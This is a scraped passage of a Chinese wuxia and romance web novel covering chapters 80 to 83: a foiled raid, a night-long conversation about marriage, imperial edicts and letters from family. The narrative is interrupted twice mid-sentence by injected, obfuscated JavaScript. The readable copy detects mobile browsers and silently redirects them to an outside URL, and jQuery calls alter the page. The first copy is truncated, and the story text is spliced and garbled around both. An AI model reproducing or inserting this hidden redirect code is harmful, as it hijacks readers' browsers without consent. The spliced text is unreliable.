“又是我?”罗易知道为什么总是她,因为这一路上芜夙也就对她态度还好点,不会破口大骂。 钱氿先行一步,在石头桌子底下摸出来一个细细的木棍,隔着远远地帮罗易把窗户打开,防止芜夙在里面扔东西砸到她。 “肯开窗户了?”正在猛踹铁笼的芜夙停了下来,抱着肩膀,睥睨地看着外头这一队人。 “公主娘娘安好。”罗易陪了个笑脸给她,“丑时了,未歇息啊?” “你们不也没歇息,来问我做什么?” “这不,不知哪里传来的哐啷哐啷声响,既然听见了,就出来瞧一瞧是什么在响。” “后院那边的响声比我这的响声可大多了。” “管它哪儿响,都是响,都得看看。”罗易笑容不变,“白天忙了那么久,晚上又来,我看这一群是来救你的,你是想他们打过来呢,或是不想他们打过来?” 芜夙冷眼一横,灰色的眼眸里看不出什么神光来:“你是说,在这儿驻扎的草包们吗?” “嗨呀,”假模假式地叹一口气,“我也不知道该不该犯愁,又想他们过来把你给接走,少个麻烦,又觉得不想让你被带走,毕竟是你不乐意回去。” 垂下眼帘,声音低了下去:“这是你的真心话吗。” 罗易就只当没听见这句话,总之是打发她安静下来了,“这窗户还是关上吧,天都凉了,给你搬个炭盆来?” “是有些冷了,你们东边冷得很,不过这才几月,炭盆是不必的。” 钱氿听见了,挥挥手,已经有人去搬来,罗易接着说:“既然冷了就搬炭盆来烤,自己舒坦才好。”说完了,亲自进到芜夙的房间里,看着人放好了炭盆,捅开了排风口,退出去关上门。 秦琼困得迷糊糊的披上衣裳,刚从房里走出来,到了院子中央,只看了半截戏。 避开了莫名紧张的云攸纾,秦琼终于找到机会发表感想:“难不成,这群公主王爷的,都吃这一套,喜欢大姐姐。” “得看是哪个姐姐,换个姐姐,他们可不一定喜欢。” “把这当个好事哇?”秦琼看看周围,戳了罗易腰间一把,“从前便罢了,现在都计划着要嫁人了,玩这一套?” “怎么了,你是我娘啊?管这么宽。”罗易看着那边跃跃欲试的云攸纾,心里是有些不舒服浮上来,这孩子从前看着有趣,怎么这段日子有些厌烦了,压下这股情绪,复又笑着嗔怪,也戳了一把秦琼。 “我可不敢当你娘。”秦琼耸耸肩,把披着的衣裳紧一紧,“没我的事情,回去了。” 这波进攻没什么意思,这么一会儿的时间,都没声音了。 “罗小姐,我们去后面看看,您二位回去歇着吧。” “我们也去看看,凑个热闹。”罗易说。 “我不去!” “走嘛,反正你尚未安寝不是?我们去看看什么情况,之后平焕好帮着子隽参谋啊,来,披上件衣服。” 云攸纾躲在罗易的背后,拖拖拽拽跟着钱氿和一群校尉们穿过了一个院子,到了后园。钱氿也希望云攸纾能跟来,这样就不用分人守着他。 郡守府晚上刚打了一场胜仗,必然得意洋洋,兵卒困乏,趁此时从后园溜进来,劫了公主就走,岂不美哉? 芜夙说的没错,西域的间谍,水平是有点差。 集结了三十多潜伏密探,用上所有华阳郡能启用的钉子,结果,刚进院墙,被人家一网打尽。 如今郡守府内外听柳爚的号令,她知道事情没有完,布置了人加强防守。 火把成林,把后园得一处空地照的通亮堂,韦祎站在稍远些的地方,刚才,没用上他出手,府兵们就解决了这群蠢货。 这群蠢货没死几人,剩下二十多活人正跪在地中央等着被捆走。 “我说呢,秦人街那处拜火教的庙里来了那么多传教的,一找人去问话就神叨叨地装作自己不会汉人话,原来,都是高手啊。” 柳爚赶来了,先挖苦几句,她今天真是好一顿折腾,受伤,风寒,觉睡不成,还死了丈夫。 “夫人好。”当着人前,罗易拱手给柳爚问好,云攸纾有样学样,问了一句“夫人安好。” “平公子好,罗小姐好,府里出事,惊扰二位了。”柳爚点点头,她时不时地就不记得装作悲痛了,见到罗易,罗易挤挤眼提醒她,她想起来自己刚当了寡妇,要哀恸一些。“小祎来了?扰你好眠了。” “客气。”韦祎扯扯嘴角,这又不是让我半夜给你杀鱼的时候了,扰我睡觉,呵。 “子隽。” “你也过来了。” 罗易和韦祎草草问候,罗易是越想着旁边挨过来的云攸纾越不舒坦。 在这儿能看见韦祎的背影,刚才他还转身过来点了个头。 更前方,是一群跪在地上的俘虏,韦祎不想受他们的跪,浑身不自在,不知道往哪儿躲开好。 谈婚论嫁没在计划表里的,这又是在干什么?原本堂哥介绍了这位韦将军来,只想和他逗趣儿玩玩就算了,若是真的嫁人了,一切都会不同。 自己是长女,娘没那么喜欢女儿,隔了几年生了儿子,女儿都“大了”,不必太照料,大什么?三岁也算长大了?得空随便说几句什么要谨言慎行啊,多做女红啊,学些厨房的本事以后好找姑爷啊。 那会儿七岁,七岁孩子让去学做菜啊? 当时并没有觉得不对,后来发生了很多事,才决定偏偏要做最离经叛道的那一个。 我若嫁给他了,又成了高门大户的夫人,岂不是食言? 这莫名的烦闷是哪里来的,今天该心情好才是,什么事情都大获全胜了,赶快今朝有酒今朝醉,以后的事情说不准呢。 “我记得,后园这里有几块石头蛮高的。”一边喃喃自语,扫视一圈,寻到了一块一尺多高的平滑大石头,放在后园当矮凳子用的。 找借口甩开云攸纾的手,站上去,“子隽,你来。” 韦祎听见了就转身走过去,“何事?” “刚才这群人搅和了咱们的事情,现在,咱们当着这群歹人的面补上如何?”罗易站在石头上,附耳说道。 “什么?”韦祎惊恐。 脑子转动起来:不能拒绝啊,刚才拒绝了罗易解衣裳扣子,就很跌她的情面了,再继续拒绝,真的不好,不好。 排除这个因素再去考虑,好像,当众亲一下也没什么不好啊,她站在火把红光的掩映下,明明灭灭地,觉得耀眼,她那边应该很温暖,让人不由自主想要靠近过去。 罗易站在石头上了,就该韦祎仰头才能亲到。 不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你们!你们竟然!当众做坏事!”别人吃惊也没有发表什么意见,只有云攸纾叫了出来。 “你都十七了,打算着没经历过也该见过了,这叫坏事啊?”韦祎继续憋坏水。 云攸纾脸颊涨红:“谁说我没经历过了!”十七岁的公子哥,不小了,早该结婚了,没经历过是个丢人事,但更丢人的就是当众辩白自己“经历过”。 韦祎想,有柳爚和钱氿这两位大嘴巴见证,算是昭告天下。 往回走了,到了院子里云攸纾不进房门,死盯着他们两个,“我偏要看看你们还能做什么坏事!” “走走走,逸希,回房了。”既然这小子都要盯着了,那不能让他白白盯着,不回自己房间了,推着罗易进了罗易的房间。 “平焕啊,今晚你穿得少,吹了冷风,让院里的姑姑给你烧一碗姜汤驱驱寒啊。”罗易被韦祎推着,不忘了转头嘱咐气鼓鼓的云攸纾。 啪地一声关上了房门,韦祎开始脸皮发烧,接下来可怎么办?今晚不会是真要被“办了”吧! “你请自便,我去收拾收拾,剩下的时间也许可以睡一觉。”罗易摆摆手,慢悠悠推门走去了隔间里。 隔间里是马桶。 郡守府里面的布置和东边不太一样,东部的宅子很少把马桶放在屋里面,马桶放屋里,得什么味儿?竟然真闻不到味道,两道门,马桶有盖子,有香料和一应清洁设施。 也就是说,罗易去方便了。 出去吧?透过窗户缝看一看,云攸纾透着他那屋的窗户往这边看,不能出去。 从隔间里出来的罗易已经换了睡衣,自己去床前摊开被子摆好枕头放下帐子,端起冷茶喝了两口,踢了鞋爬上床去睡觉了。 “劳烦子隽熄灯。”躺下发现没熄灯。 不止一盏灯没熄灭,这么大的屋子,至少亮着十几盏,逐一灭掉,既然罗易没想下手,今夜有门儿混过去。 缩在软榻上,把罗易之前盖腿的毯子拿来盖自己,今天各种突发情况不断,说不定等会儿还有。 够困,内力运转起来,马上就进入了打坐状态。 81. 枕边话 习惯是可怕的。在宫里的时候,值班的时间要么在看档案要么在打坐,后来去了城防军,有场地,文职工作之外也就练练手上功夫,隔三五天才会抽出时间来打坐一小会儿,这一趟出门之后竟然变成天天打坐,觉都不睡。 云攸纾那边一会儿就听见了关窗声音,他气鼓鼓地在屋里走来走去,几圈之后上床睡了,呼吸均匀。 院子里今天轮到张丙乙值班,云攸纾没关窗的时候他一直站在窗下盯着云攸纾,云攸纾关窗之后又跑来了罗易这屋的窗下听了一会儿壁角,韦祎懒得去说他。 罗易这屋一点奇怪的声音都没有啊,听着无聊,他又跑回院子正中间嗑瓜子。 瓜子磕没了,站起来打拳提神,虎虎生风。 都是常规操作。两个时辰就这么过去,睁一下眼睛,天蒙蒙亮,院子里的张丙乙立刻去房里把另一个校尉拖出来值班,他回去睡觉了。 不常规的声音在最近的位置。 罗易怎么一直没睡啊?这两个时辰里都能听见,罗易的呼吸声根本就是没睡着,再加上至少翻身三十次。 她没有先说话,我提出来我能发现她没睡着,不好,不好。 于是憋着没说话。 天亮了,就问一句。 咳嗽了一声表示自己要说话了,防止吓到她。 “嗯?”罗易回答。 “那个,睡得好吗?” “你猜?”罗易的声音好困,且语气不善,都翻来覆去一晚上了,这位就坐在榻上,他又不睡觉,只要睁开眼睛就能看出来。 “好吧,为何不睡?” “孤枕难眠呗。”罗易叹气。 “你床上放了六个枕头,方的圆的要什么样有什么样。” “想事情。” “什么事值得不睡觉?”韦祎打坐不下去了,停下来掀开毯子站起来。 过了一会儿,罗易答非所问:“我说我今天,呃,昨天怎么总是觉得怪,看什么都想发怒,原来是月事造访。” “那昨晚你……”解我的扣子?韦祎疑惑了。 “收拾完后园的事情,回来再去洗漱,才发觉的,不然你哪那么容易逃过去?” “你昨天看起来很正常很冷静。” “想发怒就要付诸行动啊?”罗易反驳,昨天够乱的,能随便发怒吗? 安全!韦祎走过去床边了,“我能掀开帐子吗?” “嗯,天都亮了。”韦祎看见她的时候,罗易正脸朝下闷在枕头里,“你是不是觉得安全了,我不能把你怎么样,才敢靠近过来?” 立刻后撤了一步:“你这么一说,我又觉得我没那么安全了。” 连人带着枕头被子往床铺的更里面挪了挪,把床沿空出来,“安全,安全。请坐吧。” “我去弄碗安神汤来,你喝了再试试看能不能睡着?” “不喝,那东西和蒙汗药差不多,被人抬走了都醒不过来。” 情形这么乱,给自己喝醒不过来的汤药,睡死过去的时候出了什么麻烦怎么办? 罗易仍然脸冲下,把一只手伸出被子来到处摸索。 不截住她,就不知道要摸到哪里去,瞅准空当,轻轻捉住。 把韦祎的手摊平摸了两把,昨天晚上在地下密室,只摸到了韦祎的手背,“好多茧子,真不像个公子哥儿。”摸着手感不好,而且罗易非常想用指甲去扣韦祎手掌上的茧子,发觉了这个想法,罗易立刻松手,收回被窝里。 这只是左手,握弓、用剑,硬茧集中在掌心,另一只手也没好到哪里去。更没天理的是,作为一名武将,指尖上竟然有握笔的茧子,而且是两只手都有,一定是因为小时候抄了太多次古文。 “真的啊,你不说我都没发觉。”自我反思,“难道是因为我太勤奋?” “看你这一路上这么勤奋,张丙乙那几位都被你带得勤奋起来了,还出早操。” “那都怪平焕拉他们陪练,和我没关系。” 再过一会儿,就该把云攸纾叫起来“上早课”,昨天他也熬夜,今天饶他多睡一会再叫醒。 “你不闷吗?”为何脸冲下。 “腹痛,又熬夜,头也痛。”罗易仍然闷着不动,“这样闷着倒还好些。” 身子不舒坦可不好,一旦是什么严重的病症呢:“为何腹痛?叫郎中来看看。” “不用,这不是月事吗,腹痛才正常。”罗易忽然想起了什么,“你竟然知道月事?上次我跟一个小公子提起这事儿,他觉得听见了都浑身晦气,恨不得立刻去洗耳朵。” “月事,不就是天癸,不就是流血吗?”这个知识点韦祎记得:“成年的没有孕的女子每个月都会有天癸。” 流血和晦气会有什么关联,若真是有关联,昨天汤饼街大宅和郡守府里血流成河,洗地的水都是红艳艳的,那不就晦气大了?想不通。 “你颇为通晓嘛。” “好像是前些年钱氿说的。”韦祎小时候就知道这么一回事,山里有师姐师妹们在,那儿可没有外面这么多假惺惺的礼数,想说什么就说什么。后来又有钱氿这位女性之友给韦祎做培训,韦祎也是半个女性之友。“你翻过来,腹痛是哪个脏器痛,说不定我有办法。” “嗯,许是胞室?”罗易思考了一下。 “那是哪儿?”韦祎半闭上眼,内力在自己的腹部循环,试图用内视之法搞清楚这个不太熟悉的脏器究竟在什么位置。 内力转了两圈,睁开眼:“我好像没有?”估计着自己没有,会内视之法也不是一年两年的事情了,九岁就会,若是自己真有这个器官,早就知道了啊。但是之前没有着重检查过,再检查一遍也没关系。 “你当然没有。”罗易笑得头都不痛了,翻过身来,“有就奇怪了。”指尖戳一戳韦祎的小腹,“这里。” “那儿不是肠子吗?” 肠子嘛,人的肠子里总是、总是有屎,九岁的小韦祎就知道了,谁会常常用内力检视自己的屎? 管它是不是肠子,都在下丹田附近,先试一试再说,下丹田,下丹田照应在胳膊肘上,“胳膊肘伸过来。” 罗易是不信按胳膊肘能止腹痛,韦祎好不容易主动做点什么,不好扫兴,伸出手。 隔着衣裳捏一捏罗易的胳膊肘,找到穴位,稍微传了一丝内力。 一盏茶的时间之后,躺着的罗易瞪眼,“竟然真有用。” 熬夜、喝酒、长途跋涉,最近很累,入了深秋的屋子里又冷得很,不会痛经才是奇迹,睡前罗易做好心理准备会痛,嗯,实际情况比想象中更严重。 “哈!我还是有点用处,对吧?”韦祎得意了,“另一只胳膊肘。” “对对对,多谢子隽。” “你没说你想什么想了这大半夜,若只是因为腹痛你该早告诉我。”韦祎难得地得瑟起来了。 “我在想啊……”罗易回答,“你大庭广众之下亲了我,会不会娶我?” “嗯?嗯?没有意外的话。”想一想,“是你亲我,怎么不是你娶我……” “也可以。”借着昏暗的晨光,罗易能看清,韦祎没有抗拒的神情,“那么,你准备好了吗?” “准备什么?”刚问出口,韦祎就后悔了,这问的是什么屁话,当然是三书六礼! 他想吞掉刚才那句话的表情也挺明显,罗易善解人意道:“我不是跟你要十里红妆,我是问,你心里准备好了吗?” 心里?我心里准备好了吗? 好在罗易不需要他回答这个难回答的问题,“我呢,我本以为我准备好了,就算是有什么决定不太靠谱,我也一样能准备好一切。今天又觉得,还有很多问题在。” “比如?” 罗易的语气像是在讲笑话,甚至有点自豪:“你在东海待的时间短,没发觉我的好名声,我罗易可是东海高门大户夫人们的噩梦,一个一个的,生怕东海有我这么一位,搞得她们的女儿学坏,我怎么能嫁人啊?我得为非作歹一辈子才对得起她们的噩梦啊。” “你不做西席先生,别人的女儿如何,怎么扯到你的责任。” 这就很悖论了,“人都是看谁好才去向她学习的,若是那些老主妇们都觉得女儿会像你学习,是因为她们内心里也认同你活得不错。” “你这是所答非所问,不过,你说得很对,我喜欢听这个说法,”罗易隔着被子拍不到自己的大腿,于是她转而拍韦祎的腿以表示惊叹,“我怎么没想到?” “我觉得,你不是没想到。”韦祎说。 “那说说你家里人,都是我这种草民看不见摸不着的贵人,好相处吗?”罗易生硬地转化话题了,“我家人你是见过了,都是混账。我一定会亲手收拾了他们。” “后半句听起来才像是一位东海噩梦的样子。” “向你家小爚姐学习呗。” “我就知道……”隐隐约约觉得柳爚好像在罗易这做了什么负面榜样,不过就罗曏那个狗东西,死个痛快算便宜他,自己就不管了吧。“我觉得算是好相处,你看小爚姐,不好相处吗?” “嗯,我堂哥也说你的家人很好相处。” “我爹是温和派,见面的话,你一定会觉得他是好人,舅舅,舅妈和姨母都差不多,见到了就会觉得一定是好人,我娘看着脾气差,不过,只要别人不去烦她,她就不烦别人。” “看起来一定是好人。”这句话有意思。 韦祎:“我猜你再修炼几年, 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当年韦寅和柳不寒成婚后,京城中有些显贵瞧不上没有显山露水的小官韦寅,酸着,非要韦寅论一论家族渊源,家训如何。 韦寅不在乎这事儿,柳不寒站起来,现编了一句:“管好你自己!” 这话就凑合着当家训了,反正用不着,大家本就是这样,各自做各自的事情。 想起来,今天柳爚该向京城发八百里加急的战报奏章了,把自己那份也写了一并发出去。想到了这儿,连带着想到柳爚一定会用八百里加急的机会夹带一封恋情八卦写信发回家,舅舅就会知道了。 他知道,韦祎就不用愁什么三书六礼,也许在自己回去前,这些事都弄好了。 “说不定,也许……他终于找到机会告诉我娘宅子的事情了。” “什么事?” “没什么,我想起来舅舅多年前就把我家邻居的宅子买了下来,一直没敢告诉我娘。” 还说娘亲脾气没那么差呢,这总不会是脾气好。 “我家门前特别吵,邻居想要搬走才正常,应该没有强买强卖。”怕罗易误会,多解释一句。 “为何吵?” “排队拜会我爹。”偶然有几个来见柳不寒和韦祎的,一并拦住进不去,熟人都直接去后门或者翻墙。 各国各地的人都有,风俗习惯不同,有恶劣的,直接在街道的下水沟上面解手方便,还不觉得自己有错。 因此,除了接圣旨,绝不走前门那条街。 上次结婚就在韦宅,若是又要结婚,就应该趁势搬出去才显得尊重。 “你若是与我结婚,你故去的夫人怎么办?百年之后你要去和她一起葬吗?” “我家没族墓,我爹娘修的坟没有留我的地方,清泉的尸骨,岳父大人接走葬在魏氏族墓。”这件事啊,竟然不太复杂,“所以,墓葬的事情,得以后再说。” “那你千万得多活些年头,不然,修坟都来不及。” “想到这件事,压力变大了。”韦祎点头赞同。 “听堂哥说,魏氏夫人是突然病逝的。” “嗯,她是习武之人,身体一向强健。当时我不在京城,她心脉病症突发,病了几天就去了。” 何止强健,魏国公全家身体都强健的过分了。 换成罗晏描述时的原话,“也许子隽命里克妻?” 罗易:“你猜他命里克妻还要介绍给我,想我早死你就直说啊!” 罗晏:“你不也差不多?负负得正、负负得正。” “你已经能放下继续向前了吗?”罗易慢悠悠地问。 这话怎么答?“你不是说,既然事情已经发生,那我就是准备好了。” “得了吧你,我还没想好要不要跟你结婚!”罗易坐起来,“天都大亮了,起床。” 韦祎惊讶,连轴转不睡觉可不成,“你先起来一会儿,我听着外面在派早餐,吃了早饭,开窗户透透气再接着睡。” “正有此意。” 所以,罗易去洗脸,韦祎回房去洗漱换了身衣裳,把罗易的早餐端进来,然后就去把云攸纾弄起来早锻炼。 区别对待! 云攸纾又被人在院子里练得嗷嗷叫唤,罗易已经吃完了早餐,欣赏了一会儿云攸纾不停摔倒的“英姿”,身心舒畅,回床铺睡觉。 “折磨”了云攸纾之后,韦祎隐约想起刚才罗易说屋里冷,转身去生了个炭盆来放进屋里,轻手轻脚地把通风口打开。 赶上好时候,买办前天刚刚运回了冬碳,不然只能烧木头。 82. 四境远 朱愈早上才刚回来,没赶上昨晚的乱事情,他下午就去和当地卖药材的一群老板喝酒,昏天黑地喝到半夜,后半夜凑合睡在酒楼的客房里。 一大清早头疼得爬起来吐,正吐着就听见隔壁两间茅坑里的人在讲昨夜郡守府大乱,匆匆忙忙一步三晃地跑回来。 秦琼和钱氿拉着他补讲昨夜见闻。韦祎远远观察,他们俩再不放朱愈继续去吐,他能吐在院子里,速度远离,找柳爚去写奏章,把事情都对上,要口风一致。 半个时辰后,罗易热醒了,艳阳天的太阳光透过窗户纸照在屋里,再加上一个火热的炭盆。 看见屋里有个炭盆,去找韦祎算账。 “子隽,炭盆是你拿来的?” “我记得你说冷。” “白天不冷啊。” 柳爚在床铺上欠身抬头看看,“逸希晚上冷怎么不早叫人弄炭盆来。” “爚姐身体好些了吗?” “还成。已经不咳嗽了。听小祎说你身体不适,快回去好好歇息吧。” “不妨事的,这里可有我能帮上忙的?” 没等柳爚回答,韦祎拆穿:“想成仙吗,昨晚没睡,现在起来到处走?” “哪有那么夸张呀。”罗易笑嘻嘻。 柳爚的表情八卦起来了:“昨晚没?睡?快给我好好讲一讲。”一边说,甚至支着胳膊爬起来了。 “什么啊这都是?你快躺下,也不怕伤口崩开。你也快回去睡觉。”韦祎必须要制止这个话题,站起来,把柳爚重新按倒卧床,又走到门口,把罗易给送出去。 “你啊,不早想起给人家安顿好?”柳爚斜眼睨着在一旁给她代笔的韦祎。 “什么?” 关我什么事? “大概是怕我觉得她娇气,不好自己提出来夜里冷呗。”柳爚暗暗叹气,“怪我,这几天乱糟糟的,没有早想起来西边的秋日夜里比东部冷得多,早叫人去送炭盆就好了。” 有这等弯弯绕在里面?“想多了,不就是炭盆吗?哪有这么多名堂。” 既然韦祎在这,柳爚顺手甩锅:“都怪你不提醒我。” “好了,就当是都怪我,你快点把奏章口述完发出去,继续歇着,我好回去补一觉。”韦祎认了。 “哎?昨晚到底是折腾了什么,你也要回去补觉?”柳爚更八卦了。 说不清了。 “哈,你走之前帮我再磨些墨啊,我要起来给大姐写信。” “歇着吧你。” 战报发出去之后,只剩下等。 上次发往京城的奏报没有收到回函,一般不可能去信立刻有回函,又不是战时军报。今天这第二封是紧急军情,会迅速处理,照常理,这两封奏章会一次性发回回函。 等待回函的八天,办郡守大人的丧事、帮华阳郡处理些剩下的流窜密探,徒劳地教云攸纾练武,还有谈恋爱。 罗易并不清闲,既然要等这么多天,不如帮着朱愈把华阳郡的药材商一次性搞定,就不用回头再跑一趟华阳。 所以,没有太多时间花前月下,拉着韦祎一起去应酬吧,韦祎以保护云攸纾为借口,坚决不去。 柳爚提议要和韦祎一起去华阳郡的韦氏本家探望,韦祎也不想去。 钱氿带了几个人满城溜达找周冲,无果。 柳爚还在打包行李,做好了离开华阳回京去的准备。 回函出乎意料,是一份无人宣读的圣旨。 八百里加急每个驿站换马也换人,昼夜不停,不可能从京城有人一直跟来。 圣旨说,郡守栾凤因叛乱牺牲,官升一级,追封为白泽阁平阁大学士,拟谥号忠明,载入名臣册立传褒扬。郡守夫人柳氏平叛有功,因熟知华阳政务,令其暂代华阳郡郡守一职。 后面还写了韦祎的事情,既然他正好在,那就让他去北边定沙郡宣圣旨,协助定沙郡彻底清除燕国埋进我军的隐患。 得罪人的事情出现了。 说简单点,丕州太守治军不严,能让燕国密探混进军队里闹出那么大的事情,这还了得?非常时期不能临阵换将,于是皇帝让韦祎这个丕州之外的外人,去打丕州太守的脸。 另一份密函,礼夷院发出,加盖皇帝的玉玺大印:“经西域盟国驻京城使节证明,西域和亲公主并非尔抓获之人,此人来自异国,身份不明,若其行径可疑,尔便宜处置。” 意思是,她干了什么坏事,韦祎能够即刻秘密处决她,不必通报官府问罪。 随之而来的是大把的信件,数一数,一共六封给柳爚的,四封给韦祎的,单是信件就装了厚厚一包。 分别是爹爹、舅舅、姨母和三表姐夫写的。柳爚那边还收到了栾家的信,既然柳爚不能回京城去,他们家要派人来扶栾凤的灵柩回京。 韦祎收到的几封信,内容有非常高的一致性,开头几句身体好不好累不累西边冷不冷之类的片汤话,第二段开始,齐刷刷询问起罗易的事情来。 不问什么年方几何的常规问题,问的都是如何认识的?一起去过哪些地方玩耍?我知道何处何处有一个什么什么地方,你们得空可以一起去玩……我当年如何如何去了哪里哪里。 结尾很统一,叮嘱一定要带回京城来,让大家见见面,再问准备何时结婚,我先给你准备上了,婚期等结束这趟出使任务之后再说。 “子隽家里来的信?”韦祎拆信看信的时候,罗易正在屋里。 “是啊,不知道小爚姐去信里是怎么给他们描述的,给我的信里,一样的话写了四次。”韦祎顺手把看过的前三封信递给了罗易。 “给我看?”罗易难得地惊讶了一下子,接过来。 韦大郎中、柳仆射、柳贵妃都是传说中的大人物,挺稀罕的。 看到第二封信的时候就笑了出来:“要不是这笔迹、文风完全不同,真像是同一个人写的。”又往下看一看,“贵妃娘娘去过妫姓封国啊,我听说那里四季如春,风景如画,建筑和民风都别有一番意趣,有奇石,有溶洞,和南宁国之间隔着连绵的雪山,是四海之中唯一一个世代都由女子做国王的地方,一直想去游玩呢。” “是,姨母和那边的国主是好友,年轻时认识的。”韦祎正在看手中的最后一封信,三表姐夫写的,乍一看,和前三封信是一样的。 妫姓封国是大齐最大的附属封国,东临原来的南稞国,西临南宁国,南临海疆。 上古流传下来的母系氏族,保留着先秦时期姓、氏分离的用法,女子传家,兵强马壮,战法独到,是戍守大齐边境的重要力量。 “那里可厉害,她们能训练一种特殊的兵,抓着大风筝飞上天空,轻松在高山之间移动,降落在敌营刺杀,在海上,能准确地用风筝降落到敌人的船上去,再用风筝返回来。”档案上记录的话,韦祎初看到不太信,有一年东边的沿海有东瀛海盗出没,不胜其扰,妫姓封国请缨援助,韦祎在京城的庆功会上见到了妫姓封国的“翼龙军”。 啊,是真的。 清一色身材瘦小精干、皮肤黝黑的女子,远看以为是小孩子,但她们力量、身手都是上乘,这些人里,有不少都是亲姐妹,自小在一起训练,母亲就是教头,团结协作亲密无间。 小型“风筝”可以一直戴在身上,折叠在背后像个包袱,平地助跑二十丈就能起飞。大型风筝需要两人甚至三人一起协作,用火药给风筝加速,一人操控航向,其他人射箭或扔火雷,地上的敌人根本够不到她们。 粗略估计一下,就算不用风筝,这些“翼龙军”成员的轻功应该不比自己差。毕竟,人家轻啊,体重能有韦祎一半差不多。 “这倒是令人好生向往,有机会定要去那里瞻仰一番。” “好。” “还有,这里韦伯父说他年轻时出差公干,与夫人一同去了西域的最西边,那可是沙漠啊,他说,穿过沙漠并不是什么传说中的熔岩火山,世界之极。而是绿洲和海洋,生活着一些原始游牧民族,常有赤发碧眼之人搭乘快船前来,说着完全不同的语言,在那里的挖掘抢夺一种黑油膏,点燃之后水浇不灭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126290|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是啊,他的光荣事迹,花了近一年的时间横穿了前无古人的绝境大沙漠,前后用了三年时间证明了古籍里面记载的四境并非全世界的边界,海外还有其他国家,而我们脚下踩得是一个球。” 韦祎心中暗想,等你见到老韦头了,他会好好给你讲一遍的,我这个当儿子的都快把他的事迹背下来了。 “这极西之地的黑色油膏,可是东汉时记载的石脂,石漆?”罗易眼睛闪闪发光,那可值了大钱了!中原东汉时就发现了石脂,能烧,能治家畜病,奈何中原产出极少,都没有材料做研究。 “应该是,我娘回来后在国内找来了石脂,考证过。”韦祎抬眼看了看罗易一脸兴奋的样子,嗯,她脑子里想得和皇帝差不多嘛。 当时先帝在位,他和他儿子听了韦寅夫妇的报告之后,眼放金光,蛮荒之地有资源? 一定要想办法在西域开一条路出来,能直接吞了西域最好,西域产金子,也不错,之前看那儿是沙漠都没打什么主意。 所以,年轻的柳不寒为这一趟极西之行写的博物志只能发行删减版本,其他内容都被当作机密收进了档案室,世人只是知道了极西还有大海,并不知那边有何资源。 一直到前几年,皇帝还在看着西域版图憋坏水儿,这几年韦祎没怎么见他,不知道他想到方法了没。 “你相信我们脚下是一个大圆球?”罗易愣了一下,刚才韦祎用一种很笃定的语气说出了这句话。可,走到了极西之地也并不能彻底证明此事啊,世人还是信天圆地方来着。 “是啊,是个球。”韦祎比划了一个球,“最北面是冰原,最南边也是冰原,而球中间的一圈是炎热的地方,是球状嘛,中间这一圈离太阳最近,所以最热。我们看着太阳东升西落,其实是这个球在转动。” 这是新鲜到闻所未闻的事情,看罗易的眼神,她大概在怀疑我是信了什么邪教,韦祎想。 “你想想看,我们已知燕国的最北最冷,一年有八个月飘雪,而最南边的南宁国最热,有夏无冬,北冷南热,所以我们这片土地,应该在这个球的上半部分。”为了证明自己不是信了什么邪教,韦祎很努力,“还有,你是东海人,一定见过大船远航,最先看不见的是船底,最后离开视野的是桅杆,对吧。” 罗易扶额想了又想,“对,对啊,确实如此,有些道理。”问题来了,“不过,你是怎么知道的?” 哎,我是怎么知道的? “师父一直是这么教,我出来之后才知道外面不是这个说法。”韦祎回答。 事实上,韦祎的师父给柳家当西席先生的时候也是这么灌输柳不寒的,所以她走过不少地方试图辨别此事真伪。 “我本以为写了算术书的令堂是一位算学家,竟然还是一位勘地学家,真乃奇人。” “嗯,过奖过奖。代家母谢罗老板夸奖。”韦祎给罗易拱拱手。 “岂敢受将军之礼,小女子惶恐。”罗易也假模假式地回应,又叹,无限向往,“若脚下真是个圆球,而我们在上半部分,那整个大圆球的下半部分和我们有对应大小的土地,但我们却全然不知,极西之地的海洋之外还有其它文明强盛的国度,真是天大地大,穷尽一生也走不完,不知什么时候能放下俗务,游历天下。” 韦祎向来对出门没有太大兴趣,生活最好是家和工作两点一线,简简单单。 但是,罗易今天这么说了,韦祎竟然变得也想出去走走了,想看看南边汪洋的天空上翼龙军在翱翔,北方是不是真的有厚厚冰层结成的地面和纯白的大熊。 接下来,看一眼手中最后一封信件的最后一行,想法拐弯,某些人,老老实实待在一个地方比较好。 见韦祎表情古怪起来了,“怎么了?”罗易问。 “三表姐和三表姐夫去东海了。”韦祎简单陈述,他们俩为了掌握第一手八卦,够不择手段的。 离开家之前,三表姐夫还抱怨了三表姐跟他约定以后不要出差,就留在京城。听说了有八卦可看,两个人立刻一起出京城了! 83. 佛跳墙 罗易一口茶喷出来,这么迅速就开始新娘考察?现在可不是好时候,还没来得及想办法去扭转众人的口风,自己是“东海噩梦”啊。 “没关系没关系,你不要呛。”韦祎觉得罗易也许是想歪了,把信递了过去:“他要去东海公干,顺便凑我的热闹而已。” “是吗?”罗易说,“你在东海的街上随便揪一个人问,除了我家的伙计,剩下的人都会说罗易宛若吕后在世,岂止是没有妇人之徳,每日抛头露面,夜御六郎,面首成群,而且是沥州太守的情妇,外加一群比我还混账的家人!” “这个传言有点矛盾,究竟太守是你的面首呢,还是反过来?” 确实有问题,前后不通顺,吕后那是以发展外戚,滥用权力为主要罪状,也没有说面首成群吧,汉王死之后吕后年纪不小了,还夜御六郎,这么厉害? “你猜呢?”罗易挑眉。 就别猜这个事儿了。“传言不无好话嘛,吕后可是世上第一位皇后,史书里被列进帝王本纪的人,在掌管朝政上不乏功绩,手段了得。汉高祖晚年凉薄寡恩,一样动不了她和她儿子。” 传闻里当然不是传好的这一面,在民间,吕后就是个什么秽乱宫闱牝鸡司晨之类的名声吧。 